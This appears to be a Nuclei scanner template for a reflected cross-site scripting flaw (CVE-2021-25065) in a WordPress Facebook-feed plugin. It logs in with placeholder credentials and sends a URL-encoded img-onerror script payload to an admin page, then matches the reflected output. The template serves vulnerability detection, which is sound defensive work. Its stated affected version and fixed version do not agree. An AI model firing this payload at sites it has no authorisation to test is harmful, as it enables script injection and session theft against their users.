51 lines
2.0 KiB
YAML
51 lines
2.0 KiB
YAML
id: CVE-2021-25065
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info:
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name: Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting
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author: Harsh
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severity: medium
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description: |
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The plugin was affected by a reflected XSS in custom-facebook-feed in cff-top admin page.
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impact: |
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An attacker can exploit this vulnerability to inject malicious scripts into web pages viewed by authenticated users, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation: Fixed in version 2.19.2
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reference:
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- https://wpscan.com/vulnerability/ae1aab4e-b00a-458b-a176-85761655bdcc
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- https://wordpress.org/plugins/custom-facebook-feed/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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cve-id: CVE-2021-25065
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cwe-id: CWE-79
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epss-score: 0.00069
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epss-percentile: 0.285
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cpe: cpe:2.3:a:smashballoon:smash_balloon_social_post_feed:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: smashballoon
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product: smash_balloon_social_post_feed
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framework: wordpress
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publicwww-query: "/wp-content/plugins/custom-facebook-feed/"
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tags: cve2021,cve,wpscan,wordpress,wp-plugin,xss,wp,authenticated,smashballoon
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http:
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- raw:
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/admin.php?page=cff-top&cff_access_token=xox%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert(document.domain)%3E&cff_final_response=true HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- 'status_code_2 == 200'
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- 'contains(body_2, "<img src onerror=alert(document.domain)>")'
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- 'contains(body_2, "custom-facebook-feed")'
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condition: and
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# digest: 4b0a0048304602210080cf668e558623d71740a912adada72e31d44f8bd3528258cc63cc5adb57c77b022100a5c0ae1b27feaa366f81f22ff24f8c0fa94a08ab5aca56195ee643932e9f4fc7:922c64590222798bb761d5b6d8e72950 |